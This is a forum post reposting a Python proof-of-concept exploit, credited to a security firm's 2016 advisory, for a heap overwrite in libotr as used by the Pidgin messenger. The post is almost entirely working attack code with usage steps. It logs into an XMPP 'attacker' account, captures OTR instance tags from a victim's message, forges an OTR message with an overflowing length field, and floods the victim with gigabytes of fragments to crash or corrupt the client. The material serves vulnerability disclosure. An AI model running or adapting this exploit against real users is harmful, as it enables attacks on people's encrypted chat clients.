Nytro Posted March 10, 2016 Report Posted March 10, 2016 PoC libotr heap overwrite on Pidgin #!/usr/bin/python -u # ### PoC libotr heap overwrite on Pidgin ### 2016-02-17 Markus Vervier ### X41 D-Sec GmbH ### initial code taken from pyxmpp examples (echobot.py) ### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger) ### On a loopback interface the exploit took several minutes, ### using XMPP stream compression this could be reduced massively ### pyxmpp does not support it ### We used XMPP connections without TLS to not further complicate the setup ### USAGE ### ### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest" ### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin) ### 2. Disconnect the attacker account ### 3. Fire up this script and let it connect with the attacker account credentials ### 4. Send a message from victim to attacker ### 5. Wait until message sending is complete, pidgin should crash ### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC ### !!! If we would implement full OTR in this script we could send the bad message directly ### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags import sys import logging import locale import codecs import os, signal import time import base64 def ignore_signal_pipe(signum, frame): print 'signal pipe caught -- IGNORING' signal.signal(signal.SIGPIPE, ignore_signal_pipe) from struct import * from pyxmpp.all import JID,Iq,Presence,Message,StreamError from pyxmpp.jabber.client import JabberClient from pyxmpp.interface import implements from pyxmpp.interfaces import * from pyxmpp.streamtls import TLSSettings from enum import Enum class EchoHandler(object): """Provides the actual 'echo' functionality. Handlers for presence and message stanzas are implemented here. """ implements(IMessageHandlersProvider, IPresenceHandlersProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_message_handlers(self): """Return list of (message_type, message_handler) tuples. The handlers returned will be called when matching message is received in a client session.""" return [ ("normal", self.message), ] def get_presence_handlers(self): """Return list of (presence_type, presence_handler) tuples. The handlers returned will be called when matching presence stanza is received in a client session.""" return [ (None, self.presence), ("unavailable", self.presence), ("subscribe", self.presence_control), ("subscribed", self.presence_control), ("unsubscribe", self.presence_control), ("unsubscribed", self.presence_control), ] def message(self,stanza): """Message handler for the component. Echoes the message back if its type is not 'error' or 'headline', also sets own presence status to the message body. Please note that all message types but 'error' will be passed to the handler for 'normal' message unless some dedicated handler process them. :returns: `True` to indicate, that the stanza should not be processed any further.""" subject=stanza.get_subject() body=stanza.get_body() t=stanza.get_type() m = 0 print u'Message from %s received.' % (unicode(stanza.get_from(),)), if subject: print u'Subject: "%s".' % (subject,), if body: print u'Body: "%s".' % (body,), if t: print u'Type: "%s".' % (t,) else: print u'Type: "normal".' if stanza.get_type()=="headline": # 'headline' messages should never be replied to return True # record instance tag if body[:9] == u'?OTR:AAMD': (self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):]) print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") ) self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag) return m def b64maxlen(self, chars): return 1 + (4 * chars / 3) def parse_aamc(self, msg): maxlen = self.b64maxlen(8) # 4 byte integer print "maxlen %u" % (maxlen) tmp = msg[0:maxlen] padding = "" if maxlen % 4 > 1: padding = "="*(4-(maxlen % 4)) tmp += padding print "decoding: "+tmp packed = base64.b64decode(tmp) # return unpack("I", packed[0:4]) return (packed[0:4], packed[4:8]) # their tag, our tag def initial_body(self, instance_tag, our_tag): ret = "?OTR:AAMD"; raw = b'' print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex")) #dirty hack raw += our_tag # sender_nstance_id raw += instance_tag # receiver_id raw += "D" # dummy flags raw += pack("I", 0x1) # sender key id raw += pack("I", 0x2) # recipient key id raw += pack("!I", 10) # len next_y raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;) raw += "12345678" # reveal sig dummy # yeah overflow! raw += pack("I", 0xFFFFFFFF); # datalen ret += base64.b64encode(raw+"A"*(57-len(raw))) return ret def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag): print "G-FUNK!" # this should result in about 0xFFFFFFFF times "A" base64 encoded len_msg = 5726623060 # fix frag size for base64 frag_size = (frag_size / 4) * 4 frag_msg = "QUFB"*(frag_size / 4) n = len_msg / frag_size # does not evenly divide? if len_msg % frag_size > 0: n += 1 k = 1 n += 1 # initialbody adds another frame initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag)) print "first fragment: "+initialbody m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=initialbody) self.client.stream.send(m) k += 1 print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n) cur_pos = 0 while(cur_pos < len_msg): body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg) m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=body) print "cur_pos %u of %u" % (cur_pos, len_msg) self.client.stream.send(m) k += 1 cur_pos = frag_size * (k-2) time.sleep(0.9) print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg) def presence(self,stanza): """Handle 'available' (without 'type') and 'unavailable' <presence/>.""" msg=u"%s has become " % (stanza.get_from()) t=stanza.get_type() if t=="unavailable": msg+=u"unavailable" else: msg+=u"available" show=stanza.get_show() if show: msg+=u"(%s)" % (show,) status=stanza.get_status() if status: msg+=u": "+status print msg def presence_control(self,stanza): """Handle subscription control <presence/> stanzas -- acknowledge them.""" msg=unicode(stanza.get_from()) t=stanza.get_type() if t=="subscribe": msg+=u" has requested presence subscription." elif t=="subscribed": msg+=u" has accepted our presence subscription request." elif t=="unsubscribe": msg+=u" has canceled his subscription of our." elif t=="unsubscribed": msg+=u" has canceled our subscription of his presence." print msg return stanza.make_accept_response() class VersionHandler(object): """Provides handler for a version query. This class will answer version query and announce 'jabber:iq:version' namespace in the client's disco#info results.""" implements(IIqHandlersProvider, IFeaturesProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_features(self): """Return namespace which should the client include in its reply to a disco#info query.""" return ["jabber:iq:version"] def get_iq_get_handlers(self): """Return list of tuples (element_name, namespace, handler) describing handlers of <iq type='get'/> stanzas""" return [ ("query", "jabber:iq:version", self.get_version), ] def get_iq_set_handlers(self): """Return empty list, as this class provides no <iq type='set'/> stanza handler.""" return [] def get_version(self,iq): """Handler for jabber:iq:version queries. jabber:iq:version queries are not supported directly by PyXMPP, so the XML node is accessed directly through the libxml2 API. This should be used very carefully!""" iq=iq.make_result_response() q=iq.new_query("jabber:iq:version") q.newTextChild(q.ns(),"name","Echo component") q.newTextChild(q.ns(),"version","1.0") return iq class Client(JabberClient): """Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient` class as base. That class provides basic stream setup (including authentication) and Service Discovery server. It also does server address and port discovery based on the JID provided.""" def __init__(self, jid, password, tls_cacerts): # if bare JID is provided add a resource -- it is required if not jid.resource: jid=JID(jid.node, jid.domain, "attacktest") if tls_cacerts: if tls_cacerts == 'tls_noverify': tls_settings = TLSSettings(require = True, verify_peer = False) else: tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts) else: tls_settings = None # setup client with provided connection information # and identity data JabberClient.__init__(self, jid, password, disco_name="PyXMPP example: echo bot", disco_type="bot", tls_settings = tls_settings) # add the separate components self.interface_providers = [ VersionHandler(self), EchoHandler(self), ] def stream_state_changed(self,state,arg): """This one is called when the state of stream connecting the component to a server changes. This will usually be used to let the user know what is going on.""" print "*** State changed: %s %r ***" % (state,arg) def print_roster_item(self,item): if item.name: name=item.name else: name=u"" print (u'%s "%s" subscription=%s groups=%s' % (unicode(item.jid), name, item.subscription, u",".join(item.groups)) ) def roster_updated(self,item=None): if not item: print u"My roster:" for item in self.roster.get_items(): self.print_roster_item(item) return print u"Roster item updated:" self.print_roster_item(item) # XMPP protocol is Unicode-based to properly display data received # _must_ convert it to local encoding or UnicodeException may be raised locale.setlocale(locale.LC_CTYPE, "") encoding = locale.getlocale()[1] if not encoding: encoding = "us-ascii" sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace") sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace") # PyXMPP uses `logging` module for its debug output # applications should set it up as needed logger = logging.getLogger() logger.addHandler(logging.StreamHandler()) logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity if len(sys.argv) < 3: print u"Usage:" print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],) print "example:" print "\t%s test@localhost verysecret" % (sys.argv[0],) sys.exit(1) print u"creating client..." c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None) print u"connecting..." c.connect() print u"looping..." try: # Component class provides basic "main loop" for the applitation # Though, most applications would need to have their own loop and call # component.stream.loop_iter() from it whenever an event on # component.stream.fileno() occurs. c.loop(1) except IOError, e: if e.errno == errno.EPIPE: # IGNORE EPIPE error print "PIPE ERROR -- IGNORING" else: pass except KeyboardInterrupt: print u"disconnecting..." c.disconnect() print u"exiting..." # vi: sts=4 et sw=4 Sursa: https://raw.githubusercontent.com/x41sec/advisories/master/X41-2016-001/otr-heap-overflow-poc.py Quote
